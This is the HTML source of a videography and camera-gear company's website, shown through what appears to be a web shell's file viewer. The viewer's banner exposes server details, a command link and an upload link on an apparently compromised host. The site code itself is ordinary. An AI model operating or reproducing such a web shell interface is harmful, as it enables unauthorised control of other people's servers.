|
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10 / Your IP : 216.73.216.78 Web Server : LiteSpeed System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64 User : u213657319 ( 213657319) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u213657319/domains/../public_html/camera/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Starlight Global | Premium Videography & Camera Solutions</title>
<!-- Tailwind CSS -->
<script src="https://cdn.tailwindcss.com"></script>
<!-- Poppins Font -->
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<!-- Font Awesome -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" />
<script>
tailwind.config = {
theme: {
extend: {
fontFamily: {
sans: ['Poppins', 'sans-serif'],
},
colors: {
starlight: {
gold: '#FFD700',
darkGold: '#D4AF37',
blue: '#00AEEF',
darkBlue: '#0077CC',
light: '#F8FAFC'
}
},
boxShadow: {
smooth: "0px 6px 20px rgba(0,0,0,0.08)",
deep: "0px 10px 30px rgba(0,0,0,0.12)",
gold: "0px 4px 12px rgba(255,215,0,0.4)",
}
}
}
}
</script>
<style>
/* Global Scrollbar */
::-webkit-scrollbar {
width: 8px;
}
::-webkit-scrollbar-thumb {
background: #00AEEF;
border-radius: 5px;
}
.page-section {
display: none;
min-height: calc(100vh - 80px);
}
.page-section.active {
display: block;
animation: fadeIn .4s ease;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
/* Floating icon animation */
@keyframes float {
0% { transform: translateY(0) }
50% { transform: translateY(-12px) }
100% { transform: translateY(0) }
}
.animate-float {
animation: float 4s infinite ease-in-out;
}
/* thumbnail focus ring utility (Tailwind used, fallback) */
.ring-2 { box-shadow: 0 0 0 3px rgba(0,162,239,0.15); }
/* Lightbox z-index fixes */
#lightbox { z-index: 9999; }
/* ensure images don't overflow */
#detail-main-image { max-width: 100%; }
@media (max-width: 768px) {
#detail-thumbnails { grid-template-columns: repeat(4, minmax(0,1fr)); }
}
/* ===========================
🌟 GLOBAL COMPACT MODE
=========================== */
/* Clean Premium Font */
body {
font-family: 'Inter', sans-serif !important;
font-size: 14px !important;
line-height: 1.4 !important;
letter-spacing: 0.2px;
}
/* Headings smaller */
h1 { font-size: 26px !important; font-weight: 700 !important; }
h2 { font-size: 22px !important; font-weight: 600 !important; }
h3 { font-size: 18px !important; font-weight: 600 !important; }
h4 { font-size: 16px !important; font-weight: 600 !important; }
/* Navbar compact */
nav h1 { font-size: 20px !important; }
nav button { font-size: 13px !important; }
/* Page Sections compact */
/* Hero section smaller */
#home h1 {
font-size: 28px !important;
}
/* Cards compact padding */
.p-8, .py-16, .py-20, .p-6 {
padding: 16px !important;
}
.p-4 { padding: 10px !important; }
/* Highlights + portfolio cards smaller */
.h-64 { height: 180px !important; }
/* Buttons compact */
button, .btn {
font-size: 13px !important;
padding: 6px 14px !important;
border-radius: 6px !important;
}
/* Product Grid – smaller images */
#products-grid .h-48 {
height: 140px !important;
}
#products-grid h3 {
font-size: 15px !important;
}
#products-grid p {
font-size: 12px !important;
}
/* Product details compact */
#detail-product-name { font-size: 22px !important; }
#detail-product-features li { font-size: 13px !important; }
/* Contact Form compact */
#contactForm input,
#contactForm textarea,
#quotationFormDetail input,
#quotationFormDetail textarea {
padding: 8px !important;
font-size: 13px !important;
}
/* Footer smaller */
footer {
padding: 30px 0 !important;
}
footer p, footer li, footer h4 {
font-size: 13px !important;
}
/* Grid gap reduce */
.grid {
gap: 14px !important;
}
</style>
</head>
<body class="bg-starlight-light text-slate-800 font-sans antialiased">
<!-- ========================= NAVBAR ========================= -->
<nav class="fixed w-full top-0 z-50 bg-white shadow-smooth">
<div class="max-w-7xl mx-auto px-5 h-20 flex justify-between items-center">
<!-- Logo -->
<div class="flex items-center gap-2 cursor-pointer" onclick="showPage('home')">
<img src="img/newlogo1.png" alt="Starlight Logo" class="h-10 w-auto object-contain">
</div>
<!-- Desktop Menu -->
<div class="hidden md:flex items-center space-x-8">
<button onclick="showPage('home')" class="hover:text-starlight-blue font-medium">Home</button>
<button onclick="showPage('about')" class="hover:text-starlight-blue font-medium">About</button>
<button onclick="showPage('services')" class="hover:text-starlight-blue font-medium">Services</button>
<button onclick="showPage('products')" class="hover:text-starlight-blue font-medium">Products</button>
<button onclick="showPage('contact')" class="px-5 py-2 bg-starlight-blue text-white rounded-full font-semibold hover:bg-starlight-darkBlue shadow">
Contact
</button>
</div>
<!-- Mobile Icon -->
<button class="md:hidden text-2xl text-slate-700" onclick="toggleMobileMenu()">
<i class="fas fa-bars"></i>
</button>
</div>
<!-- MOBILE MENU -->
<div id="mobile-menu" class="hidden bg-white shadow-md md:hidden">
<button onclick="showPage('home'); toggleMobileMenu()" class="block w-full text-left px-5 py-4 hover:bg-slate-100">Home</button>
<button onclick="showPage('about'); toggleMobileMenu()" class="block w-full text-left px-5 py-4 hover:bg-slate-100">About</button>
<button onclick="showPage('services'); toggleMobileMenu()" class="block w-full text-left px-5 py-4 hover:bg-slate-100">Services</button>
<button onclick="showPage('products'); toggleMobileMenu()" class="block w-full text-left px-5 py-4 hover:bg-slate-100">Products</button>
<button onclick="showPage('contact'); toggleMobileMenu()" class="block w-full text-left px-5 py-4 font-semibold text-starlight-blue">Contact</button>
</div>
</nav>
<!-- Space below Nav -->
<div class="pt-20"></div>
<!-- ========================= HOME SECTION ========================= -->
<section id="home" class="page-section active" style="min-height: auto !important;">
<!-- Hero Banner Section -->
<div class="relative w-full h-[280px] md:h-[400px] flex items-center justify-center">
<!-- Banner Image -->
<img src="banner1.png"
class="absolute inset-0 w-full h-full object-cover object-center" alt="Hero Banner">
<!-- Dark Overlay -->
<div class="absolute inset-0 bg-black bg-opacity-50"></div>
<!-- Banner Text -->
<div class="relative z-10 max-w-4xl text-center px-5">
<span class="text-sm px-4 py-1 bg-white/20 text-starlight-gold font-semibold rounded-full backdrop-blur">
Hong Kong Based • Global Reach
</span>
<h1 class="mt-4 text-4xl md:text-5xl font-extrabold text-white leading-tight">
Capture The
<span class="text-starlight-gold">Golden Moments</span>
</h1>
<div class="flex gap-4 justify-center pt-4">
<button onclick="showPage('services')"
class="px-6 md:px-7 py-3 bg-starlight-blue text-white rounded-lg font-semibold shadow hover:shadow-lg hover:-translate-y-1 transition">
Explore Services
</button>
<button onclick="showPage('products')"
class="px-6 md:px-7 py-3 bg-white/20 border border-white text-white rounded-lg font-semibold hover:bg-white/30 transition">
View Products
</button>
</div>
</div>
</div>
<!-- ========================= HIGHLIGHTS ========================= -->
<div class="bg-white py-16 border-t border-b border-slate-100">
<div class="max-w-7xl mx-auto px-5">
<div class="grid grid-cols-1 md:grid-cols-3 gap-8">
<div class="p-8 rounded-2xl bg-starlight-light border border-slate-100 text-center shadow">
<div class="w-14 h-14 mx-auto rounded-full bg-blue-50 flex items-center justify-center mb-4">
<img src="img/global.png" class="" alt="Hero Banner">
</div>
<h3 class="font-semibold text-lg">Global Presence</h3>
<p class="text-sm text-slate-600 mt-2">Headquartered in Hong Kong with worldwide partners.</p>
</div>
<div class="p-8 rounded-2xl bg-starlight-light border border-slate-100 text-center shadow">
<div class="w-14 h-14 mx-auto rounded-full bg-yellow-50 flex items-center justify-center mb-4">
<img src="img/quality.png" class="" alt="Hero Banner">
</div>
<h3 class="font-semibold text-lg">Premium Quality</h3>
<p class="text-sm text-slate-600 mt-2">Handpicked gear and professional crews for every shoot.</p>
</div>
<div class="p-8 rounded-2xl bg-starlight-light border border-slate-100 text-center shadow">
<div class="w-14 h-14 mx-auto rounded-full bg-blue-50 flex items-center justify-center mb-4">
<img src="img/client.jpeg" class="" alt="Hero Banner">
</div>
<h3 class="font-semibold text-lg">Client Centric</h3>
<p class="text-sm text-slate-600 mt-2">Collaborative planning and on-time delivery, every time.</p>
</div>
</div>
</div>
</div>
<!-- ========================= PORTFOLIO ========================= -->
<section class="py-16 bg-starlight-light">
<div class="max-w-7xl mx-auto px-5">
<div class="text-center mb-10">
<h2 class="text-3xl font-bold">Our Latest Masterpieces</h2>
<div class="w-20 h-1 bg-starlight-gold mx-auto rounded mt-4"></div>
</div>
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-6">
<!-- portfolio card template (static images for mock) -->
<div class="group relative overflow-hidden rounded-xl h-64 shadow hover:shadow-deep">
<div class="absolute inset-0 bg-cover bg-center" style="background-image:url('https://images.unsplash.com/photo-1519741497674-611481863552?auto=format&fit=crop&w=800&q=60')"></div>
<div class="absolute inset-0 bg-gradient-to-t from-black/60 to-transparent"></div>
<div class="absolute bottom-4 left-4 text-white">
<h4 class="font-bold">Wedding Cinema</h4>
<p class="text-sm text-starlight-gold">Capture the Love</p>
</div>
</div>
<div class="group relative overflow-hidden rounded-xl h-64 shadow hover:shadow-deep">
<div class="absolute inset-0 bg-cover bg-center" style="background-image:url('https://images.unsplash.com/photo-1505373877841-8d25f7d46678?auto=format&fit=crop&w=800&q=60')"></div>
<div class="absolute inset-0 bg-gradient-to-t from-black/60 to-transparent"></div>
<div class="absolute bottom-4 left-4 text-white">
<h4 class="font-bold">Corporate Events</h4>
<p class="text-sm text-starlight-gold">Professional Coverage</p>
</div>
</div>
<div class="group relative overflow-hidden rounded-xl h-64 shadow hover:shadow-deep">
<div class="absolute inset-0 bg-cover bg-center" style="background-image:url('https://images.unsplash.com/photo-1492691527719-9d1e07e534b4?auto=format&fit=crop&w=800&q=60')"></div>
<div class="absolute inset-0 bg-gradient-to-t from-black/60 to-transparent"></div>
<div class="absolute bottom-4 left-4 text-white">
<h4 class="font-bold">Documentary</h4>
<p class="text-sm text-starlight-gold">Real Stories</p>
</div>
</div>
<div class="group relative overflow-hidden rounded-xl h-64 shadow hover:shadow-deep">
<div class="absolute inset-0 bg-cover bg-center" style="background-image:url('https://images.unsplash.com/photo-1485846234645-a62644f84728?auto=format&fit=crop&w=800&q=60')"></div>
<div class="absolute inset-0 bg-gradient-to-t from-black/60 to-transparent"></div>
<div class="absolute bottom-4 left-4 text-white">
<h4 class="font-bold">Live Concerts</h4>
<p class="text-sm text-starlight-gold">Energy & Rhythm</p>
</div>
</div>
</div>
</div>
</section>
</section>
<!-- end home -->
<!-- ========================= ABOUT ========================= -->
<section id="about" class="page-section">
<div class="py-20 bg-white">
<div class="max-w-7xl mx-auto px-5">
<div class="text-center mb-12">
<h2 class="text-4xl font-bold">Who We Are</h2>
<p class="text-slate-600 max-w-2xl mx-auto mt-4">
Driven by technology, inspired by creativity. We bring cinematic expertise, professional-grade equipment, and creative storytelling to every project.
</p>
</div>
<div class="grid md:grid-cols-2 gap-10 items-center">
<!-- LEFT TEXT -->
<div class="space-y-6 text-slate-700">
<div class="p-6 rounded-lg bg-blue-50 border-l-4 border-starlight-blue">
<p class="italic font-semibold">
"Starlight Global is a technology-driven media company based in Hong Kong, specializing in camera recording, live streaming, and professional event coverage."
</p>
</div>
<p>Our mission is to empower brands and individuals with high-quality digital tools that bring stories to life. From small-scale interviews to large-scale productions, our expert team ensures precise execution and cinematic results.</p>
<p>We combine creativity with technology — offering end-to-end solutions including production planning, multi-camera setups, live streaming, drone filming, and post-production.</p>
</div>
<!-- RIGHT SIDE IMAGE (REPLACE GRID BOXES) -->
<div class="w-full h-full flex justify-center items-center">
<img src="about.png"
alt="About Image"
class="rounded-2xl shadow-lg w-full h-full object-cover">
</div>
</div>
<!-- Bottom Section Stays Same -->
<div class="mt-12 p-8 rounded-3xl bg-gradient-to-r from-slate-900 to-slate-800 text-white relative overflow-hidden">
<div class="grid md:grid-cols-2 gap-6 items-center">
<div>
<h3 class="text-2xl font-bold text-starlight-gold">Trusted Supplier of Digital Gear</h3>
<p class="mt-3 text-slate-200">Along with our services, we curate and supply premium cameras, accessories, and studio gear — tried and tested for professional workflows.</p>
<button onclick="showPage('products')" class="mt-6 px-5 py-2 rounded-full border border-starlight-gold text-starlight-gold font-semibold hover:bg-starlight-gold hover:text-slate-900 transition">Browse Catalog</button>
</div>
<div class="flex justify-center">
<i class="fas fa-camera-retro text-8xl text-white/30 transform rotate-12"></i>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- ========================= SERVICES ========================= -->
<section id="services" class="page-section">
<div class="py-16 bg-starlight-light">
<div class="max-w-7xl mx-auto px-5">
<div class="text-center mb-10">
<h2 class="text-3xl font-bold">Our Core Services</h2>
<p class="text-slate-600 mt-3">End-to-end production services tailored to your event or project.</p>
</div>
<div class="space-y-8">
<div class="bg-white p-6 rounded-3xl shadow border border-slate-100 flex flex-col md:flex-row gap-6 items-center">
<div class="md:w-1/3 rounded-xl bg-gray-100 h-56 flex items-center justify-center">
<img src="https://c0.wallpaperflare.com/preview/405/128/4/black-digital-video-recorder-on-black-tripod.jpg" alt="Recording" class="w-full h-full object-cover rounded-xl opacity-90">
</div>
<div class="md:w-2/3">
<h3 class="text-2xl font-semibold">Professional Camera Recording</h3>
<p class="text-slate-600 mt-2">High-definition multi-camera recording, cinematic framing, and professional crews for weddings, corporate events, and films.</p>
<ul class="grid grid-cols-2 gap-2 mt-4 text-sm text-slate-700">
<li><i class="fas fa-check text-starlight-blue mr-2"></i>4K UHD Recording</li>
<li><i class="fas fa-check text-starlight-blue mr-2"></i>Multi-Cam Setup</li>
<li><i class="fas fa-check text-starlight-blue mr-2"></i>Drone Cinematography</li>
<li><i class="fas fa-check text-starlight-blue mr-2"></i>Cinematic Editing</li>
</ul>
</div>
</div>
<div class="bg-white p-6 rounded-3xl shadow border border-slate-100 flex flex-col md:flex-row-reverse gap-6 items-center">
<div class="md:w-1/3 rounded-xl bg-gray-100 h-56 flex items-center justify-center">
<img src="https://cdn.i.haymarketmedia.asia/?n=campaign-india%2Fcontent%2F20241122052659_Untitled+design+(1).jpg&h=570&w=855&q=100&v=20250320&c=1" alt="Streaming" class="w-full h-full object-cover rounded-xl opacity-90">
</div>
<div class="md:w-2/3">
<h3 class="text-2xl font-semibold">Live Streaming Solutions</h3>
<p class="text-slate-600 mt-2">End-to-end live streaming to YouTube, Facebook, corporate portals, with professional audio and redundancy options for uptime.</p>
<div class="mt-3 flex gap-2">
<span class="px-3 py-1 bg-red-50 text-red-600 rounded-full text-xs font-bold border border-red-100">YouTube</span>
<span class="px-3 py-1 bg-blue-50 text-blue-600 rounded-full text-xs font-bold border border-blue-100">Facebook</span>
<span class="px-3 py-1 bg-purple-50 text-purple-600 rounded-full text-xs font-bold border border-purple-100">Zoom/Teams</span>
</div>
</div>
</div>
<div class="bg-white p-6 rounded-3xl shadow border border-slate-100 flex gap-6 items-center">
<div class="md:w-1/3 rounded-xl bg-gray-100 h-56 flex items-center justify-center">
<img src="https://4.imimg.com/data4/PM/DL/MY-985365/wedding-videography-500x500.jpeg" alt="Event" class="w-full h-full object-cover rounded-xl opacity-90">
</div>
<div class="md:w-2/3">
<h3 class="text-2xl font-semibold">Complete Event Coverage</h3>
<p class="text-slate-600 mt-2">Photography, on-site editing, drone shoots, and documentary-style filming for events large and small.</p>
<div class="grid grid-cols-2 md:grid-cols-4 gap-3 mt-4">
<div class="text-center p-3 rounded-lg bg-starlight-light border">
<i class="fas fa-ring text-starlight-gold mb-2"></i>
<div class="text-xs font-bold">Weddings</div>
</div>
<div class="text-center p-3 rounded-lg bg-starlight-light border">
<i class="fas fa-building text-starlight-blue mb-2"></i>
<div class="text-xs font-bold">Corporate</div>
</div>
<div class="text-center p-3 rounded-lg bg-starlight-light border">
<i class="fas fa-music text-purple-500 mb-2"></i>
<div class="text-xs font-bold">Concerts</div>
</div>
<div class="text-center p-3 rounded-lg bg-starlight-light border">
<i class="fas fa-graduation-cap text-green-500 mb-2"></i>
<div class="text-xs font-bold">Functions</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- ========================= PRODUCTS (UPDATED) ========================= -->
<section id="products" class="page-section">
<div class="py-16 bg-white">
<div class="max-w-7xl mx-auto px-5">
<div class="text-center mb-8">
<h2 class="text-3xl font-bold">Professional Gear Store</h2>
<p class="text-slate-600 mt-2">Browse our curated selection. Click "View Details" to see specs and request a quote.</p>
</div>
<div class="flex justify-center gap-3 mb-8 flex-wrap">
<button class="px-5 py-2 rounded-full bg-starlight-blue text-white font-semibold">All Products</button>
<!-- <button class="px-5 py-2 rounded-full bg-white border text-slate-700">DSLR</button>
<button class="px-5 py-2 rounded-full bg-white border text-slate-700">Mirrorless</button>
<button class="px-5 py-2 rounded-full bg-white border text-slate-700">Accessories</button> -->
</div>
<!-- products grid -->
<div id="products-grid" class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
<!-- JS will render cards here -->
</div>
</div>
</div>
</section>
<!-- ========================= PRODUCT DETAILS (UPDATED) ========================= -->
<section id="product-details" class="page-section">
<div class="py-12 bg-white">
<div class="max-w-6xl mx-auto px-5">
<button onclick="showPage('products')" class="text-starlight-blue font-semibold mb-6 inline-flex items-center">
<i class="fas fa-arrow-left mr-2"></i> Back to Products
</button>
<div class="grid md:grid-cols-3 gap-8 items-start">
<!-- LEFT: Gallery -->
<div class="md:col-span-1">
<div class="relative overflow-hidden rounded-2xl border bg-white shadow p-3"
onmousemove="zoomImage(event)"
onmouseleave="resetZoom()">
<img id="detail-main-image" src="https://placehold.co/600x400/1e293b/ffffff?text=Product" alt="Product" class="w-full h-auto transition-transform duration-200 object-contain" style="max-height:520px; transform-origin:center;" onclick="openLightbox()">
<!-- zoom hint -->
<div class="absolute bottom-3 right-3 bg-white/80 text-slate-700 text-xs px-2 py-1 rounded">Hover to zoom • Click to open</div>
</div>
<!-- thumbnails -->
<div id="detail-thumbnails" class="grid grid-cols-4 gap-2 mt-4"></div>
</div>
<!-- RIGHT: Info -->
<div class="md:col-span-2">
<h1 id="detail-product-name" class="text-3xl font-extrabold">Product Name</h1>
<div class="mt-3 flex items-center gap-3">
<span id="detail-product-brand" class="px-3 py-1 rounded-full bg-starlight-blue text-white text-sm font-semibold">Brand</span>
<span id="detail-product-id" class="px-3 py-1 rounded-full bg-starlight-light text-sm font-mono text-slate-700">ID</span>
<span id="detail-product-tag" class="px-3 py-1 rounded-full bg-starlight-gold text-sm text-slate-900 hidden">Tag</span>
</div>
<p id="detail-product-long-desc" class="text-slate-700 mt-6"></p>
<h4 class="text-xl font-bold mt-6 mb-3">Key Specifications</h4>
<ul id="detail-product-features" class="grid grid-cols-1 sm:grid-cols-2 gap-2 text-slate-700"></ul>
<!-- Quote Form -->
<div class="mt-8 p-6 rounded-2xl bg-gradient-to-br from-starlight-blue to-starlight-darkBlue text-white">
<h3 class="text-2xl font-bold mb-2">Get Quotation</h3>
<p class="text-sm mb-4">Fill the form and we'll send a personalized quote.</p>
<form id="quotationFormDetail" onsubmit="submitQuoteDetail(event)" class="space-y-3">
<input type="hidden" id="quote-product-id" name="product_id">
<input type="hidden" id="quote-product-name" name="product_name">
<div class="bg-white p-3 rounded text-slate-900">
<div id="quote-product-name-display" class="font-semibold"></div>
</div>
<div class="grid grid-cols-1 sm:grid-cols-2 gap-3">
<input id="q-name" name="name" required type="text" placeholder="Full Name" class="px-3 py-2 rounded bg-white text-slate-900 w-full">
<input id="q-phone" required name="phone" type="tel" placeholder="Phone Number" class="px-3 py-2 rounded bg-white text-slate-900 w-full">
</div>
<input id="q-email" required type="email" name="email" placeholder="Email" class="px-3 py-2 rounded bg-white text-slate-900 w-full">
<textarea id="q-address" required name="address" rows="3" placeholder="Shipping Address" class="px-3 py-2 rounded bg-white text-slate-900 w-full"></textarea>
<button type="submit" class="w-full py-3 rounded bg-starlight-gold text-slate-900 font-bold">Request Quote</button>
</form>
</div>
</div>
</div>
</div>
</div>
<!-- LIGHTBOX (fullscreen) -->
<div id="lightbox" class="fixed inset-0 hidden z-60 flex items-center justify-center bg-black/80 p-4">
<div class="relative max-w-6xl w-full">
<button onclick="closeLightbox()" class="absolute top-3 right-3 text-white text-2xl z-70"><i class="fas fa-times"></i></button>
<img id="lightbox-image" src="" alt="Product Large" class="w-full h-auto rounded-lg shadow-lg object-contain">
</div>
</div>
</section>
<!-- ========================= CONTACT ========================= -->
<section id="contact" class="page-section">
<div class="py-16 bg-starlight-light">
<div class="max-w-7xl mx-auto px-5">
<div class="grid md:grid-cols-2 gap-8">
<div>
<h2 class="text-3xl font-bold">Get in Touch</h2>
<p class="text-slate-600 mt-3">Ready to bring your story to life? Let's talk about your project.</p>
<div class="mt-6 space-y-4">
<div class="flex items-start gap-4">
<div class="w-12 h-12 rounded-lg bg-blue-50 flex items-center justify-center"><i class="fas fa-map-marker-alt text-starlight-blue"></i></div>
<div>
<h4 class="font-semibold">Headquarters</h4>
<p class="text-slate-600">UNIT 705, 7/F GOLDEN DRAGON CTR 38-40 CAMERON RD TSIM SHA TSUI HONG KONG</p>
</div>
</div>
<div class="flex items-start gap-4">
<div class="w-12 h-12 rounded-lg bg-yellow-50 flex items-center justify-center"><i class="fas fa-envelope text-starlight-gold"></i></div>
<div>
<h4 class="font-semibold">Email</h4>
<p class="text-slate-600">info@starlightglobal.hk</p>
</div>
</div>
<div class="flex items-start gap-4">
<div class="w-12 h-12 rounded-lg bg-blue-50 flex items-center justify-center"><i class="fas fa-phone-alt text-starlight-blue"></i></div>
<div>
<h4 class="font-semibold">Phone</h4>
<p class="text-slate-600">+852 1234 5678</p>
</div>
</div>
</div>
<div class="mt-8 h-56 rounded-lg bg-gray-200 flex items-center justify-center text-slate-500">
<i class="fas fa-map mr-2"></i> Map Placeholder
</div>
</div>
<div class="bg-white p-6 rounded-3xl shadow">
<h3 class="text-2xl font-semibold mb-4">Send us a Message</h3>
<form id="contactForm" onsubmit="submitContact(event)" class="space-y-3">
<input required type="text" name="name" placeholder="Full Name" class="w-full px-3 py-2 rounded bg-starlight-light">
<input required type="number" name="mobile" placeholder="Mobile No" class="w-full px-3 py-2 rounded bg-starlight-light">
<input required type="email" name="email" placeholder="Email" class="w-full px-3 py-2 rounded bg-starlight-light">
<input required type="text" name="subject" placeholder="Subject" class="w-full px-3 py-2 rounded bg-starlight-light">
<textarea rows="4" name="message" placeholder="Message" class="w-full px-3 py-2 rounded bg-starlight-light"></textarea>
<button type="submit" class="w-full py-3 rounded bg-starlight-blue text-white font-semibold">Send Message</button>
</form>
</div>
</div>
</div>
</div>
</section>
<!-- ========================= FOOTER ========================= -->
<footer class="bg-slate-900 text-white py-12">
<div class="max-w-7xl mx-auto px-5">
<div class="grid md:grid-cols-4 gap-8">
<div class="md:col-span-2">
<div class="flex items-center gap-3 mb-4">
<div>
<div class="font-bold text-lg">
<img src="img/newlogo1.png" alt="Starlight Logo" class="h-10 w-auto object-contain"></div>
<div class="text-sm text-slate-400">Premium videography & camera solutions</div>
</div>
</div>
<p class="text-sm text-slate-400 max-w-md">Empowering brands and creators with premium production, gear, and support worldwide.</p>
</div>
<div>
<h4 class="font-bold text-starlight-gold mb-3">Quick Links</h4>
<ul class="space-y-2 text-slate-400">
<li><a href="#" onclick="showPage('home')" class="hover:text-white">Home</a></li>
<li><a href="#" onclick="showPage('services')" class="hover:text-white">Services</a></li>
<li><a href="#" onclick="showPage('products')" class="hover:text-white">Products</a></li>
<li><a href="#" onclick="showPage('contact')" class="hover:text-white">Contact</a></li>
</ul>
</div>
<div>
<h4 class="font-bold text-starlight-blue mb-3">Follow Us</h4>
<div class="flex gap-3">
<a href="#" class="w-10 h-10 rounded bg-slate-800 flex items-center justify-center"><i class="fab fa-facebook-f"></i></a>
<a href="#" class="w-10 h-10 rounded bg-slate-800 flex items-center justify-center"><i class="fab fa-instagram"></i></a>
<a href="#" class="w-10 h-10 rounded bg-slate-800 flex items-center justify-center"><i class="fab fa-youtube"></i></a>
</div>
</div>
</div>
<div class="mt-10 border-t border-slate-800 pt-6 text-sm text-slate-400 text-center">
© <span id="footer-year"></span> Starlight Global. All rights reserved.
</div>
</div>
</footer>
<!-- ========================= SCRIPTS ========================= -->
<script>
function submitContact(e) {
e.preventDefault();
let form = document.getElementById("contactForm");
let formData = new FormData(form);
fetch("contact_submit.php", {
method: "POST",
body: formData
})
.then(res => res.text())
.then(data => {
if (data.trim() === "success") {
alert("Thank you! We will contact you shortly.");
form.reset();
} else {
alert("Error submitting form.");
}
});
}
</script>
<script>
function submitQuoteDetail(e) {
e.preventDefault();
let form = document.getElementById("quotationFormDetail");
let formData = new FormData(form);
fetch("quotation_submit.php", { // Fixed filename
method: "POST",
body: formData
})
.then(res => res.text())
.then(data => {
if (data.trim() === "success") {
alert("Quotation request submitted!");
form.reset();
showPage('products');
} else {
alert("Error submitting request.");
console.log(data);
}
});
}
</script>
<script>
// Navigation helpers
function showPage(pageId) {
document.querySelectorAll('.page-section').forEach(s => s.classList.remove('active'));
const el = document.getElementById(pageId);
if(el) el.classList.add('active');
window.scrollTo({top:0, behavior:'smooth'});
const mobileMenu = document.getElementById('mobile-menu');
if(mobileMenu && !mobileMenu.classList.contains('hidden')) mobileMenu.classList.add('hidden');
}
function toggleMobileMenu() {
const mobileMenu = document.getElementById('mobile-menu');
mobileMenu.classList.toggle('hidden');
}
</script>
<!-- Product script (gallery, thumbnails, zoom, lightbox, quote) -->
<script>
function renderProducts() {
const grid = document.getElementById('products-grid');
if(!grid) return;
grid.innerHTML = productsData.map(p => `
<div class="bg-white rounded-2xl p-4 shadow border border-slate-100 flex flex-col">
<div class="h-48 rounded-xl bg-gray-100 mb-4 overflow-hidden relative flex items-center justify-center">
<img src="${p.images[0] || 'https://placehold.co/600x400'}"
alt="${p.name}"
class=" h-full ">
</div>
<h3 class="font-bold text-lg">${p.name}</h3>
<p class="text-sm text-slate-600 mt-2 flex-1">${p.shortDesc}</p>
<div class="mt-4 flex items-center justify-between">
<div class="flex gap-2">
<button onclick="showProductDetails('${p.id}')" class="px-3 py-2 rounded bg-starlight-blue text-white font-semibold">View Details</button>
<button onclick="openQuickView('${p.id}')" class="px-3 py-2 rounded border border-slate-200 text-slate-700 hover:bg-slate-50">Quick View</button>
</div>
</div>
</div>
`).join('');
}
function showProductDetails(productId) {
const product = productsData.find(p => p.id == productId);
if(!product) return alert("Product not found");
// Main Image
const mainImage = document.getElementById('detail-main-image');
mainImage.src = product.images[0] || '';
mainImage.alt = product.name;
// Thumbnails
const thumbBox = document.getElementById('detail-thumbnails');
thumbBox.innerHTML = product.images.map((img, idx) => `
<div class="rounded overflow-hidden border cursor-pointer ${idx===0 ? 'ring-2 ring-starlight-blue':''}"
onclick="changeMainImage('${img}', this)">
<img src="${img}" class="w-full h-20 object-cover">
</div>
`).join('');
// Basic info
document.getElementById('detail-product-name').textContent = product.name;
document.getElementById('detail-product-brand').textContent = product.brand;
// ID remove — इसको blank कर दो
document.getElementById('detail-product-id').style.display = "none";
// Description — raw HTML show, tags नहीं दिखेंगे
document.getElementById('detail-product-long-desc').innerHTML = product.longDesc;
// Features
const featList = document.getElementById('detail-product-features');
featList.innerHTML = product.features.map(f => `
<li class="flex items-center">
<i class="fas fa-check text-starlight-blue mr-2"></i>${f}
</li>
`).join('');
// TAG hidden — हमेशा hide
document.getElementById('detail-product-tag').classList.add('hidden');
// Quotation form
document.getElementById('quote-product-id').value = product.id;
document.getElementById('quote-product-name-display').textContent = product.name;
document.getElementById("quote-product-name").value = product.name;
showPage('product-details');
resetZoom();
}
// Change image
function changeMainImage(imgUrl, thumbEl) {
const mainImage = document.getElementById('detail-main-image');
mainImage.src = imgUrl;
mainImage.style.transform = "scale(1)";
document.querySelectorAll('#detail-thumbnails > div').forEach(d => d.classList.remove('ring-2', 'ring-starlight-blue'));
thumbEl.classList.add('ring-2', 'ring-starlight-blue');
}
// Zoom effect
function zoomImage(e) {
const img = document.getElementById('detail-main-image');
const rect = img.getBoundingClientRect();
img.style.transformOrigin =
((e.clientX - rect.left) / rect.width * 100) + "% " +
((e.clientY - rect.top) / rect.height * 100) + "%";
img.style.transform = "scale(2.3)";
}
function resetZoom() {
const img = document.getElementById('detail-main-image');
img.style.transform = "scale(1)";
}
// Lightbox
function openLightbox() {
document.getElementById('lightbox-image').src = document.getElementById('detail-main-image').src;
document.getElementById('lightbox').classList.remove('hidden');
document.getElementById('lightbox').classList.add('flex');
}
function closeLightbox() {
document.getElementById('lightbox').classList.add('hidden');
document.getElementById('lightbox').classList.remove('flex');
}
// Quick view
function openQuickView(productId) {
showProductDetails(productId);
window.scrollTo({top: 0, behavior: 'smooth'});
}
// LOAD DATA
let productsData = [];
document.addEventListener('DOMContentLoaded', () => {
fetch("admin/get_products.php")
.then(res => res.json())
.then(data => {
productsData = data;
renderProducts();
});
document.getElementById('footer-year').textContent = new Date().getFullYear();
});
</script>
</body>
</html>